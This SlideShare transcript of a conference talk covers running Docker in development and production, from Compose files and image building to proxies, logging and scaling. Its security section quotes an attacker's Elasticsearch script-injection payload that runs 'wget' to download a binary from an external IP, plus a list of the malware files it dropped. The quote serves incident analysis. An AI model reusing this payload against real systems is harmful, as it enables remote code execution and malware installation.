SlideShare a Scribd company logo
Real World Experiences of Running
Docker in Development and Production
@Ben_Hall
Ben@BenHall.me.uk
OcelotUproar.com / Katacoda.com
@Ben_Hall / Blog.BenHall.me.uk
Tech Support > Tester > Developer >
Founder
Software Development Studio
WHOAMI?
Agenda
• Continuous Integration and Development
• Orchestration
• Security
• Logging and Monitoring
• Debugging
• Scaling
Beyond the hype. How do
containers work in the real world?
doger.io
Real World Experience of Running Docker in Development and Production
https://www.docker.com/whatisdocker/
Container
Own Process Space
Own Network Interface
Own Root Directories
Sandboxed
Like a lightweight VM. But it’s not a VM.
Container
Native CPU
Native Memory
Native IO
No Pre-Allocation
No Performance Overheard
Container
Milliseconds to launch
Still fully isolated
Docker - An open platform for distributed
applications for developers and sysadmins.
Got us to agree on something!
Real World Experience of Running Docker in Development and Production
Batteries included but
removable
Continuous Integration and
Development
Everything is a container
New Starters
Node, Golang, Postgres and
Redis
Katacoda
> docker run –p 6379:6379 redis
_.-``__ ''-._
_.-`` `. `_. ''-._ Redis 3.0.3 (00000000/0) 64 bit
.-`` .-```. ```/ _.,_ ''-._
( ' , .-` | `, ) Running in standalone mode
|`-._`-...-` __...-.``-._|'` _.-'| Port: 6379
| `-._ `._ / _.-' | PID: 1
`-._ `-._ `-./ _.-' _.-'
|`-._`-._ `-.__.-' _.-'_.-'|
| `-._`-._ _.-'_.-' | http://redis.io
`-._ `-._`-.__.-'_.-' _.-'
|`-._`-._ `-.__.-' _.-'_.-'|
| `-._`-._ _.-'_.-' |
`-._ `-._`-.__.-'_.-' _.-'
`-._ `-.__.-' _.-'
`-._ _.-'
`-.__.-'
1:M 05 Nov 10:42:24.402 # Server started, Redis version 3.0.3
1:M 05 Nov 10:42:24.402 # WARNING overcommit_memory is set to 0! Background save may fail under low memory condition.
To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl
vm.overcommit_memory=1' for this to take effect.
1:M 05 Nov 10:42:24.402 # WARNING you have Transparent Huge Pages (THP) support enabled in your kernel. This will
create latency and memory usage issues with Redis. To fix this issue run the command 'echo never >
/sys/kernel/mm/transparent_hugepage/enabled' as root, and add it to your /etc/rc.local in order to retain the setting after a
reboot. Redis must be restarted after THP is disabled.
1:M 05 Nov 10:42:24.403 # WARNING: The TCP backlog setting of 511 cannot be enforced because
/proc/sys/net/core/somaxconn is set to the lower value of 128.
1:M 05 Nov 10:42:24.403 * The server is now ready to accept connections on port 6379
> docker run --name db -d postgres
> docker logs db
The files belonging to this database system will be owned by user "postgres".
This user must also own the server process.
The database cluster will be initialized with locale "en_US.utf8".
The default database encoding has accordingly been set to "UTF8".
The default text search configuration will be set to "english".
Data page checksums are disabled.
fixing permissions on existing directory /var/lib/postgresql/data ... ok
creating subdirectories ... ok
selecting default max_connections ... 100
selecting default shared_buffers ... 128MB
selecting dynamic shared memory implementation ... posix
creating configuration files ... ok
creating template1 database in /var/lib/postgresql/data/base/1 ... ok
initializing pg_authid ... ok
Docker Compose
> cat docker-compose-dev.yml
redis:
image: redis:2.8.21
ports:
- 6379:6379
restart: always
db:
build: pg-schema # Includes Schema and migrations
ports:
- 5432:5432
environment:
POSTGRES_PASSWORD: 'mysecretpassword'
restart: always
> docker-compose –f docker-compose-dev.yml up –d
Node.js
> docker run -it --rm
-w /usr/app
-v $(pwd):/usr/app
-v $(pwd)/d_node_modules:/usr/app/node_modules
-p 3000:3000
node:0.10.38
bash
RStudio
> docker run -d -p 8787:8787 rocker/rstudio
> docker run --name=selenium
--privileged
-p 4444:4444 -p 5999:5999
-d vvoyer/docker-selenium-firefox-chrome
> cat load-test.js
function detectBrowser(name) {
wd.remote({ host: 'b2d',
desiredCapabilities: {
browserName: name
}
})
.init()
.url('http://www.whatismybrowser.com/')
.getText('.string-major', function(err, text) {
console.log(name + 'browser was detected as ' + text);
})
.end();
}
['chrome', 'firefox'].forEach(detectBrowser);
https://github.com/BenHall/docker-selenium-example
Real World Experience of Running Docker in Development and Production
Building Images
Real World Experience of Running Docker in Development and Production
> cat Dockerfile
FROM node:0.10.38
RUN mkdir -p /usr/src/app
WORKDIR /usr/src/app
COPY . /usr/src/app
RUN npm install
CMD [ "npm", "start" ]
> docker build –t nodeapp .
> docker run –d –p 3000 nodeapp
Order Matters
> cat Dockerfile
FROM node:0.10.38
RUN mkdir -p /usr/src/app
WORKDIR /usr/src/app
COPY package.json /usr/src/app/
RUN npm install
COPY . /usr/src/app
CMD [ "npm", "start" ]
> cat Dockerfile-onbuild
FROM node:0.10.38
RUN mkdir -p /usr/src/app
WORKDIR /usr/src/app
ONBUILD COPY package.json /usr/src/app/
ONBUILD RUN npm install
ONBUILD COPY . /usr/src/app
CMD [ "npm", "start" ]
> cat Dockerfile
FROM node:0.10.38-onbuild
EXPOSE 3000
Size Matters
> cat Dockerfile
FROM ocelotuproar/alphine-node:4.2.1-onbuild
EXPOSE 3000
> curl https://raw.githubusercontent.com/OcelotUproar/alphine-
node/master/Dockerfile
FROM alpine:3.2
# Thanks to https://github.com/mhart/alpine-node
ENV VERSION=v4.2.1
RUN apk add --update curl make gcc g++ python linux-headers paxctl libgcc libstdc++ && 
curl -sSL https://nodejs.org/dist/${VERSION}/node-${VERSION}.tar.gz | tar -xz && 
cd /node-${VERSION} && 
./configure --prefix=/usr && 
make -j$(grep -c ^processor /proc/cpuinfo 2>/dev/null || 1) && 
make install && 
paxctl -cm /usr/bin/node && 
cd / && 
npm install -g npm@2 && 
find /usr/lib/node_modules/npm -name test -o -name .bin -type d | xargs rm -rf; 
apk del curl make gcc g++ python linux-headers paxctl && 
rm -rf /etc/ssl /node-${VERSION} 
/usr/share/man /tmp/* /var/cache/apk/* /root/.npm /root/.node-gyp 
/usr/lib/node_modules/npm/man /usr/lib/node_modules/npm/doc /usr/lib/node_modules/npm/html
> docker images
scrapbook/redis-node-docker-example 703.3 MB
node:0.10.38-onbuild 702.9 MB
> docker images
scrapbook/redis-node-docker-example 35.4 MB
ocelotuproar/alphine-node:4.2-onbuild 35.02 MB
Go Lang Development
Environment
> docker run -it --rm
-w /go/src/github.com/myapp
-v $(pwd)/vendor/github.com/:/go/src/github.com/
-v $(pwd):/go/src/github.com/myapp
golang:1.4
bash
> cat MakeFile
build-dev copy build-release:
echo ”Building Release Image"
build-dev:
docker build –f Dockerfile-dev –t warden-dev .
copy:
docker create --name tmp warden-dev
docker cp tmp:/go/bin/app $(shell pwd)/app
docker rm tmp
build-release:
docker build –t ocelotuproar/warden
> cat Dockerfile-dev
FROM golang:latest
RUN mkdir /app
ADD . /app/
WORKDIR /app
RUN CGO_ENABLED=0 GOOS=linux go build -a -installsuffix
cgo -o main .
CMD ["/app/main”]
EXPOSE 80
> cat Dockerfile
FROM scratch
EXPOSE 80
COPY app /
CMD ["/app"]
> docker images
scrapbook/docker-http-server 528.9 MB
golang:latest 517.3 MB
> docker images
scrapbook/docker-http-server 5.812 MB
CI becomes very simple
Exit Codes
Private Registry
Like hub.docker.com
Just a container
Docker in Production
Containers can’t fix broken
architectures.
But they can help…
Production isn’t special
Just another environment
Immutable
Disposable Container Pattern
Persisting Data
> docker run –v <host-dir>:<container-dir> image
-v /opt/docker/elasticsearch:/data
-v /opt/docker/mysql:/var/lib/mysql
-v /docker/scrapbook/uploads:/app/public/uploads
-v $(PWD):/host
-v /var/log/syslog:/var/log/syslog
Docker Compose
> docker-compose up -d
> cat docker-compose.yml
web:
image: ocelotuproar/katacoda
volumes:
- /opt/projects/katacoda/data:/usr/src/app/data
- /opt/docker/katacoda/db:/usr/src/app/ocelite-db
- /var/run/docker.sock:/var/run/docker.sock
ports:
- 3000
environment:
VIRTUAL_HOST: 'katacoda.com,*.katacoda.com'
NODE_ENV: 'production’
restart: always
// Production version of docker-compose-dev.yml
> docker-compose up # Start containers
–d # In background
Recreating katacoda_nginx_1...
Recreating katacoda_redis_1...
Recreating katacoda_db_1...
Recreating katacoda_elasticsearch_1...
Recreating katacoda_web_1…
> docker-compose stop # Stop containers
Stopping katacoda_web_1...
Stopping katacoda_elasticsearch_1...
Stopping katacoda_db_1...
Stopping katacoda_redis_1...
Stopping katacoda_nginx_1...
Sidekick Containers for
backup
Pushes to Dropbox
Cost effective
Auto Discovery is key to a
good container architecture
Docker Events
Problem: Port 80
Problematic Approach
> docker run -d --name nginx_root
--link blog_benhall-1:blog_benhall-1
--link katacoda-1:katacoda-1
--link scrapbook_web_1:scrapbook_web_1
--link brownbag_web_1:brownbag_web_1
-p 80:80
-v /opt/docker/nginx/www:/data
-v /opt/docker/nginx/sites:/etc/nginx/sites-enabled
-v /opt/docker/nginx/logs:/var/log/nginx
nginx
Nginx Proxy
https://github.com/jwilder/nginx-proxy
https://www.dropbox.com/s/2f6y2frfjafc409/nginx-proxy-optimised.gif?dl=0
• -v /var/run/docker.sock:/tmp/docker.sock
• VIRTUAL_HOST=my.container.com
Problem: Zero Downtime
Rolling Updates Node.js
> docker run –e VIRTUAL_HOST=myapp myapp:v2.0
// Make some changes
> docker build –t myapp:v2.1
> docker run –e VIRTUAL_HOST=myapp myapp:v2.1
// Load Balanced
> docker stop <container for myapp:v2.0>
Not Great.
Problem: Scaling Node.js
Using Nginx Proxy to scale
Node.js
> docker-compose scale web=5
Problem: Multiple Docker
Hosts
Software Defined Network
Weave
> weave launch
> docker run –name ws web-server
// second host
> weave launch <host-01 ip>
> docker run --name ws -d -p 80:80 
scrapbook/docker-http-server
> docker run ubuntu ping -c1 ws
ping ws.weave.local (10.0.0.1)
Weave DNS
> docker run --name ws -d -p 80:80 
scrapbook/docker-http-server
> docker run --name ws -d -p 80:80 
scrapbook/docker-http-server
> docker run --name ws -d -p 80:80 
scrapbook/docker-http-server
> docker run ubuntu ping -c1 ws
ping ws.weave.local (10.0.0.1)
> docker run ubuntu ping -c1 ws
ping ws.weave.local (10.0.0.2)
> docker run ubuntu ping -c1 ws
ping ws.weave.local (10.0.0.3)
Auto Discovery allows you to
dynamically adapt your
infrastructure
> docker run -d --name nginx
-p 80:80
--link blog_benhall:wordpress
nginx-wordpress-example
Nginx
Wordpress
blog_benhall
> docker run -d –name varnish
--link blog_benhall:websiteBeingCached
benhall/docker-varnish
Nginx Varnish
blog_benhall_varnish
Wordpress
blog_benhall
> docker run -d --name nginx
-p 80:80
--link varnish:wordpress
nginx-wordpress-example
Common Question: Is it
secure?
Hosting provider becomes
unhappy
Real World Experience of Running Docker in Development and Production
Real World Experience of Running Docker in Development and Production
org.elasticsearch.search.SearchParseException: [index][3]:
query[ConstantScore(*:*)],from[-1],size[1]: Parse Failure [Failed to parse
source
[{"size":1,"query":{"filtered":{"query":{"match_all":{}}}},"script_fields":{"exp":{"s
cript":"import java.util.*;nimport java.io.*;nString str = "";BufferedReader br
= new BufferedReader(new
InputStreamReader(Runtime.getRuntime().exec("wget -O /tmp/xdvi
http://<IP Address>:9985/xdvi").getInputStream()));StringBuilder sb = new
StringBuilder();while((str=br.readLine())!=null){sb.append(str);}sb.toString();"
}}}]]
http://blog.benhall.me.uk/2015/09/what-happens-when-an-elasticsearch-container-is-hacked/
C /bin
C /bin/netstat
C /bin/ps
C /bin/ss
C /etc
C /etc/init.d
A /etc/init.d/DbSecuritySpt
A /etc/init.d/selinux
C /etc/rc1.d
A /etc/rc1.d/S97DbSecuritySpt
A /etc/rc1.d/S99selinux
C /etc/rc2.d
A /etc/rc2.d/S97DbSecuritySpt
A /etc/rc2.d/S99selinux
C /etc/rc3.d
A /etc/rc3.d/S97DbSecuritySpt
A /etc/rc3.d/S99selinux
C /etc/rc4.d
A /etc/rc4.d/S97DbSecuritySpt
A /etc/rc4.d/S99selinux
C /etc/rc5.d
http://blog.benhall.me.uk/2015/09/what-happens-when-an-elasticsearch-container-is-hacked/
A /etc/rc5.d/S97DbSecuritySpt
A /etc/rc5.d/S99selinux
C /etc/ssh
A /etc/ssh/bfgffa
A /os6
A /safe64
C /tmp
A /tmp/.Mm2
A /tmp/64
A /tmp/6Sxx
A /tmp/6Ubb
A /tmp/DDos99
A /tmp/cmd.n
A /tmp/conf.n
A /tmp/ddos8
A /tmp/dp25
A /tmp/frcc
A /tmp/gates.lod
A /tmp/hkddos
A /tmp/hsperfdata_root
A /tmp/linux32
A /tmp/linux64
A /tmp/manager
A /tmp/moni.lod
A /tmp/nb
A /tmp/o32
A /tmp/oba
A /tmp/okml
A /tmp/oni
A /tmp/yn25
C /usr
C /usr/bin
A /usr/bin/.sshd
A /usr/bin/dpkgd
A /usr/bin/dpkgd/netstat
A /usr/bin/dpkgd/ps
A /usr/bin/dpkgd/ss
Only as secure as the
contents running in the
container
Logging and Monitoring
All Stdout and StdErr logged
Logs fill disks
Docker Logging Options
> docker run --log-driver=syslog redis
> docker run --log-driver=none redis
> docker run --log-driver=json-file 
--log-opt="" 
redis
--log-opt max-size=[0-9+][k|m|g]
--log-opt max-file=[0-9+]
--log-opt max-size=50m
--log-opt max-file=100
ELK + LogSpout
> docker run -d 
-p 8000:8000 
-v /var/run/docker.sock:/tmp/docker.sock 
--name logspout 
gliderlabs/logspout:master syslog://192.168.99.100:5000
https://github.com/benhall/docker-elk
> docker run -d
--restart=always # Restart if exits non-zero
redis
Health Endpoints
Debugging
> docker exec –it <container-name> bash
> docker exec -it scrapbookv2prototype_nginx_1 
cat /etc/nginx/conf.d/default.conf
upstream katacoda.com {
server 172.17.0.30:3000;
}
server {
server_name katacoda.com;
listen 80 ;
access_log /var/log/nginx/access.log vhost;
location / {
proxy_pass http://katacoda.com;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header Host $host;
proxy_http_version 1.1;
}
Real World Experience of Running Docker in Development and Production
Real World Experience of Running Docker in Development and Production
> docker run –it --name sysdig
--privileged
-v /var/run/docker.sock:/host/var/run/docker.sock
-v /dev:/host/dev
-v /proc:/host/proc:ro
-v /boot:/host/boot:ro
-v /lib/modules:/host/lib/modules:ro
-v /usr:/host/usr:ro
sysdig/sysdig
Real World Experience of Running Docker in Development and Production
Scaling
Real World Experience of Running Docker in Development and Production
Real World Experience of Running Docker in Development and Production
Real World Experience of Running Docker in Development and Production
Real World Experience of Running Docker in Development and Production
Summary
• Batteries included but removable
• Containers are a new way of thinking,
embrace and extend
• New tools and approaches to solving
problems
• Don’t corrupt your host. Everything as a
container
Thank you!
@Ben_Hall
Ben@BenHall.me.uk
Blog.BenHall.me.uk
www.Katacoda.com

More Related Content

What's hot (20)

PPTX
Lessons from running potentially malicious code inside containers
Ben Hall
 
PPTX
Deploying applications to Windows Server 2016 and Windows Containers
Ben Hall
 
PDF
파이썬 개발환경 구성하기의 끝판왕 - Docker Compose
raccoony
 
PDF
DCSF19 Tips and Tricks of the Docker Captains
Docker, Inc.
 
PDF
Docker All The Things - ASP.NET 4.x and Windows Server Containers
Anthony Chu
 
PDF
手把手帶你學Docker 03042017
Paul Chao
 
PPTX
PHP development with Docker
Yosh de Vos
 
PDF
Developing and Deploying PHP with Docker
Patrick Mizer
 
PDF
Scaling Next-Generation Internet TV on AWS With Docker, Packer, and Chef
bridgetkromhout
 
PPT
Running High Performance and Fault Tolerant Elasticsearch Clusters on Docker
Sematext Group, Inc.
 
PDF
Plug-ins: Building, Shipping, Storing, and Running - Nandhini Santhanam and T...
Docker, Inc.
 
PDF
Introducing Docker
Francesco Pantano
 
PDF
2017-03-11 02 Денис Нелюбин. Docker & Ansible - лучшие друзья DevOps
Омские ИТ-субботники
 
PDF
Docker in practice
Jonathan Giannuzzi
 
PPTX
Docker for Developers - Sunshine PHP
Chris Tankersley
 
PDF
DCEU 18: Dockerfile Best Practices
Docker, Inc.
 
PDF
The Docker "Gauntlet" - Introduction, Ecosystem, Deployment, Orchestration
Erica Windisch
 
PPTX
Deploying Symfony2 app with Ansible
Roman Rodomansky
 
ODP
Docker for Developers - php[tek] 2017
Chris Tankersley
 
PDF
Docker - from development to production (PHPNW 2017-09-05)
Toby Griffiths
 
Lessons from running potentially malicious code inside containers
Ben Hall
 
Deploying applications to Windows Server 2016 and Windows Containers
Ben Hall
 
파이썬 개발환경 구성하기의 끝판왕 - Docker Compose
raccoony
 
DCSF19 Tips and Tricks of the Docker Captains
Docker, Inc.
 
Docker All The Things - ASP.NET 4.x and Windows Server Containers
Anthony Chu
 
手把手帶你學Docker 03042017
Paul Chao
 
PHP development with Docker
Yosh de Vos
 
Developing and Deploying PHP with Docker
Patrick Mizer
 
Scaling Next-Generation Internet TV on AWS With Docker, Packer, and Chef
bridgetkromhout
 
Running High Performance and Fault Tolerant Elasticsearch Clusters on Docker
Sematext Group, Inc.
 
Plug-ins: Building, Shipping, Storing, and Running - Nandhini Santhanam and T...
Docker, Inc.
 
Introducing Docker
Francesco Pantano
 
2017-03-11 02 Денис Нелюбин. Docker & Ansible - лучшие друзья DevOps
Омские ИТ-субботники
 
Docker in practice
Jonathan Giannuzzi
 
Docker for Developers - Sunshine PHP
Chris Tankersley
 
DCEU 18: Dockerfile Best Practices
Docker, Inc.
 
The Docker "Gauntlet" - Introduction, Ecosystem, Deployment, Orchestration
Erica Windisch
 
Deploying Symfony2 app with Ansible
Roman Rodomansky
 
Docker for Developers - php[tek] 2017
Chris Tankersley
 
Docker - from development to production (PHPNW 2017-09-05)
Toby Griffiths
 

Viewers also liked (13)

PDF
Using Docker in the Real World
Tim Haak
 
PPTX
Lessons learned running large real-world Docker environments
Alois Mayr
 
PPTX
Blue Whale in an Enterprise Pond
Digia Plc
 
PDF
Solving Real World Production Problems with Docker
Marc Campbell
 
PPTX
A Fabric/Puppet Build/Deploy System
adrian_nye
 
PDF
Real-World Docker: 10 Things We've Learned
RightScale
 
PPTX
Programming the world with Docker
Patrick Chanezon
 
PDF
code.talks 2016 Hamburg - Plesk - AutoScaling WordPress with Docker & AWS - b...
Plesk
 
PPTX
Tips on solving E_TOO_MANY_THINGS_TO_LEARN with Kubernetes
Ben Hall
 
PDF
Shipping Applications to Production in Containers with Docker
Jérôme Petazzoni
 
PDF
From development environments to production deployments with Docker, Compose,...
Jérôme Petazzoni
 
PDF
PostgreSQL + ZFS best practices
Sean Chittenden
 
PPTX
Dockercon EU 2015
John Fiedler
 
Using Docker in the Real World
Tim Haak
 
Lessons learned running large real-world Docker environments
Alois Mayr
 
Blue Whale in an Enterprise Pond
Digia Plc
 
Solving Real World Production Problems with Docker
Marc Campbell
 
A Fabric/Puppet Build/Deploy System
adrian_nye
 
Real-World Docker: 10 Things We've Learned
RightScale
 
Programming the world with Docker
Patrick Chanezon
 
code.talks 2016 Hamburg - Plesk - AutoScaling WordPress with Docker & AWS - b...
Plesk
 
Tips on solving E_TOO_MANY_THINGS_TO_LEARN with Kubernetes
Ben Hall
 
Shipping Applications to Production in Containers with Docker
Jérôme Petazzoni
 
From development environments to production deployments with Docker, Compose,...
Jérôme Petazzoni
 
PostgreSQL + ZFS best practices
Sean Chittenden
 
Dockercon EU 2015
John Fiedler
 
Ad

Similar to Real World Experience of Running Docker in Development and Production (20)

PDF
Docker in everyday development
Justyna Ilczuk
 
PDF
codemotion-docker-2014
Carlo Bonamico
 
PDF
Introduction to Docker
Luong Vo
 
PDF
Killer Docker Workflows for Development
Chris Tankersley
 
PDF
Why everyone is excited about Docker (and you should too...) - Carlo Bonamic...
Codemotion
 
PPTX
Dockerizing a Symfony2 application
Roman Rodomansky
 
PDF
Docker, the Future of DevOps
andersjanmyr
 
PPTX
Docker - A Ruby Introduction
Tyler Johnston
 
PDF
Accelerate your software development with Docker
Andrey Hristov
 
PPTX
Accelerate your development with Docker
Andrey Hristov
 
PDF
Faster and Easier Software Development using Docker Platform
msyukor
 
PDF
Docker for Ruby Developers
Aptible
 
PDF
Docker Introduction
Jeffrey Ellin
 
PDF
Introduction to Docker - Learning containerization XP conference 2016
XP Conference India
 
PDF
Work shop - an introduction to the docker ecosystem
João Pedro Harbs
 
PPTX
Ruby on Rails and Docker - Why should I care?
Adam Hodowany
 
PDF
Docker Up and Running Introduction
Mark Beacom
 
PDF
Introduction to Docker
Kuan Yen Heng
 
PPTX
Docker Ecosystem on Azure
Patrick Chanezon
 
PDF
Docker: A New Way to Turbocharging Your Apps Development
msyukor
 
Docker in everyday development
Justyna Ilczuk
 
codemotion-docker-2014
Carlo Bonamico
 
Introduction to Docker
Luong Vo
 
Killer Docker Workflows for Development
Chris Tankersley
 
Why everyone is excited about Docker (and you should too...) - Carlo Bonamic...
Codemotion
 
Dockerizing a Symfony2 application
Roman Rodomansky
 
Docker, the Future of DevOps
andersjanmyr
 
Docker - A Ruby Introduction
Tyler Johnston
 
Accelerate your software development with Docker
Andrey Hristov
 
Accelerate your development with Docker
Andrey Hristov
 
Faster and Easier Software Development using Docker Platform
msyukor
 
Docker for Ruby Developers
Aptible
 
Docker Introduction
Jeffrey Ellin
 
Introduction to Docker - Learning containerization XP conference 2016
XP Conference India
 
Work shop - an introduction to the docker ecosystem
João Pedro Harbs
 
Ruby on Rails and Docker - Why should I care?
Adam Hodowany
 
Docker Up and Running Introduction
Mark Beacom
 
Introduction to Docker
Kuan Yen Heng
 
Docker Ecosystem on Azure
Patrick Chanezon
 
Docker: A New Way to Turbocharging Your Apps Development
msyukor
 
Ad

More from Ben Hall (19)

PPTX
The Art Of Documentation - NDC Porto 2022
Ben Hall
 
PPTX
The Art Of Documentation for Open Source Projects
Ben Hall
 
PPTX
Three Years of Lessons Running Potentially Malicious Code Inside Containers
Ben Hall
 
PPTX
Containers without docker
Ben Hall
 
PPTX
Deploying windows containers with kubernetes
Ben Hall
 
PPTX
The Art of Documentation and Readme.md for Open Source Projects
Ben Hall
 
PPTX
How Secure Are Docker Containers?
Ben Hall
 
PPTX
The Challenges of Becoming Cloud Native
Ben Hall
 
PPTX
Scaling Docker Containers using Kubernetes and Azure Container Service
Ben Hall
 
PPTX
The art of documentation and readme.md
Ben Hall
 
PPTX
Experimenting and Learning Kubernetes and Tensorflow
Ben Hall
 
PPTX
Learning Patterns for the Overworked Developer
Ben Hall
 
PPTX
Implementing Google's Material Design Guidelines
Ben Hall
 
PPTX
Architecting .NET Applications for Docker and Container Based Deployments
Ben Hall
 
PPTX
The Art Of Building Prototypes and MVPs
Ben Hall
 
PPTX
Node.js Anti Patterns
Ben Hall
 
PPTX
What Designs Need To Know About Visual Design
Ben Hall
 
PPTX
Real World Lessons On The Anti-Patterns of Node.JS
Ben Hall
 
PPTX
Learning to think "The Designer Way"
Ben Hall
 
The Art Of Documentation - NDC Porto 2022
Ben Hall
 
The Art Of Documentation for Open Source Projects
Ben Hall
 
Three Years of Lessons Running Potentially Malicious Code Inside Containers
Ben Hall
 
Containers without docker
Ben Hall
 
Deploying windows containers with kubernetes
Ben Hall
 
The Art of Documentation and Readme.md for Open Source Projects
Ben Hall
 
How Secure Are Docker Containers?
Ben Hall
 
The Challenges of Becoming Cloud Native
Ben Hall
 
Scaling Docker Containers using Kubernetes and Azure Container Service
Ben Hall
 
The art of documentation and readme.md
Ben Hall
 
Experimenting and Learning Kubernetes and Tensorflow
Ben Hall
 
Learning Patterns for the Overworked Developer
Ben Hall
 
Implementing Google's Material Design Guidelines
Ben Hall
 
Architecting .NET Applications for Docker and Container Based Deployments
Ben Hall
 
The Art Of Building Prototypes and MVPs
Ben Hall
 
Node.js Anti Patterns
Ben Hall
 
What Designs Need To Know About Visual Design
Ben Hall
 
Real World Lessons On The Anti-Patterns of Node.JS
Ben Hall
 
Learning to think "The Designer Way"
Ben Hall
 

Recently uploaded (20)

PDF
Predicting the unpredictable: re-engineering recommendation algorithms for fr...
Speck&Tech
 
PDF
HCIP-Data Center Facility Deployment V2.0 Training Material (Without Remarks ...
mcastillo49
 
PDF
DevBcn - Building 10x Organizations Using Modern Productivity Metrics
Justin Reock
 
PDF
New from BookNet Canada for 2025: BNC BiblioShare - Tech Forum 2025
BookNet Canada
 
PDF
SFWelly Summer 25 Release Highlights July 2025
Anna Loughnan Colquhoun
 
PDF
NewMind AI Journal - Weekly Chronicles - July'25 Week II
NewMind AI
 
PDF
HubSpot Main Hub: A Unified Growth Platform
Jaswinder Singh
 
PDF
Using FME to Develop Self-Service CAD Applications for a Major UK Police Force
Safe Software
 
PDF
Building Real-Time Digital Twins with IBM Maximo & ArcGIS Indoors
Safe Software
 
PDF
CIFDAQ Token Spotlight for 9th July 2025
CIFDAQ
 
PDF
Smart Trailers 2025 Update with History and Overview
Paul Menig
 
PPT
Interview paper part 3, It is based on Interview Prep
SoumyadeepGhosh39
 
PDF
Log-Based Anomaly Detection: Enhancing System Reliability with Machine Learning
Mohammed BEKKOUCHE
 
PDF
Achieving Consistent and Reliable AI Code Generation - Medusa AI
medusaaico
 
PPTX
WooCommerce Workshop: Bring Your Laptop
Laura Hartwig
 
PDF
Windsurf Meetup Ottawa 2025-07-12 - Planning Mode at Reliza.pdf
Pavel Shukhman
 
PDF
Blockchain Transactions Explained For Everyone
CIFDAQ
 
PDF
Impact of IEEE Computer Society in Advancing Emerging Technologies including ...
Hironori Washizaki
 
PDF
Human-centred design in online workplace learning and relationship to engagem...
Tracy Tang
 
PDF
Persuasive AI: risks and opportunities in the age of digital debate
Speck&Tech
 
Predicting the unpredictable: re-engineering recommendation algorithms for fr...
Speck&Tech
 
HCIP-Data Center Facility Deployment V2.0 Training Material (Without Remarks ...
mcastillo49
 
DevBcn - Building 10x Organizations Using Modern Productivity Metrics
Justin Reock
 
New from BookNet Canada for 2025: BNC BiblioShare - Tech Forum 2025
BookNet Canada
 
SFWelly Summer 25 Release Highlights July 2025
Anna Loughnan Colquhoun
 
NewMind AI Journal - Weekly Chronicles - July'25 Week II
NewMind AI
 
HubSpot Main Hub: A Unified Growth Platform
Jaswinder Singh
 
Using FME to Develop Self-Service CAD Applications for a Major UK Police Force
Safe Software
 
Building Real-Time Digital Twins with IBM Maximo & ArcGIS Indoors
Safe Software
 
CIFDAQ Token Spotlight for 9th July 2025
CIFDAQ
 
Smart Trailers 2025 Update with History and Overview
Paul Menig
 
Interview paper part 3, It is based on Interview Prep
SoumyadeepGhosh39
 
Log-Based Anomaly Detection: Enhancing System Reliability with Machine Learning
Mohammed BEKKOUCHE
 
Achieving Consistent and Reliable AI Code Generation - Medusa AI
medusaaico
 
WooCommerce Workshop: Bring Your Laptop
Laura Hartwig
 
Windsurf Meetup Ottawa 2025-07-12 - Planning Mode at Reliza.pdf
Pavel Shukhman
 
Blockchain Transactions Explained For Everyone
CIFDAQ
 
Impact of IEEE Computer Society in Advancing Emerging Technologies including ...
Hironori Washizaki
 
Human-centred design in online workplace learning and relationship to engagem...
Tracy Tang
 
Persuasive AI: risks and opportunities in the age of digital debate
Speck&Tech
 

Real World Experience of Running Docker in Development and Production

  • 1. Real World Experiences of Running Docker in Development and Production @Ben_Hall [email protected] OcelotUproar.com / Katacoda.com
  • 2. @Ben_Hall / Blog.BenHall.me.uk Tech Support > Tester > Developer > Founder Software Development Studio WHOAMI?
  • 3. Agenda • Continuous Integration and Development • Orchestration • Security • Logging and Monitoring • Debugging • Scaling
  • 4. Beyond the hype. How do containers work in the real world?
  • 8. Own Process Space Own Network Interface Own Root Directories Sandboxed Like a lightweight VM. But it’s not a VM. Container
  • 9. Native CPU Native Memory Native IO No Pre-Allocation No Performance Overheard Container
  • 11. Docker - An open platform for distributed applications for developers and sysadmins.
  • 12. Got us to agree on something!
  • 16. Everything is a container
  • 18. Node, Golang, Postgres and Redis Katacoda
  • 19. > docker run –p 6379:6379 redis _.-``__ ''-._ _.-`` `. `_. ''-._ Redis 3.0.3 (00000000/0) 64 bit .-`` .-```. ```/ _.,_ ''-._ ( ' , .-` | `, ) Running in standalone mode |`-._`-...-` __...-.``-._|'` _.-'| Port: 6379 | `-._ `._ / _.-' | PID: 1 `-._ `-._ `-./ _.-' _.-' |`-._`-._ `-.__.-' _.-'_.-'| | `-._`-._ _.-'_.-' | http://redis.io `-._ `-._`-.__.-'_.-' _.-' |`-._`-._ `-.__.-' _.-'_.-'| | `-._`-._ _.-'_.-' | `-._ `-._`-.__.-'_.-' _.-' `-._ `-.__.-' _.-' `-._ _.-' `-.__.-' 1:M 05 Nov 10:42:24.402 # Server started, Redis version 3.0.3 1:M 05 Nov 10:42:24.402 # WARNING overcommit_memory is set to 0! Background save may fail under low memory condition. To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl vm.overcommit_memory=1' for this to take effect. 1:M 05 Nov 10:42:24.402 # WARNING you have Transparent Huge Pages (THP) support enabled in your kernel. This will create latency and memory usage issues with Redis. To fix this issue run the command 'echo never > /sys/kernel/mm/transparent_hugepage/enabled' as root, and add it to your /etc/rc.local in order to retain the setting after a reboot. Redis must be restarted after THP is disabled. 1:M 05 Nov 10:42:24.403 # WARNING: The TCP backlog setting of 511 cannot be enforced because /proc/sys/net/core/somaxconn is set to the lower value of 128. 1:M 05 Nov 10:42:24.403 * The server is now ready to accept connections on port 6379
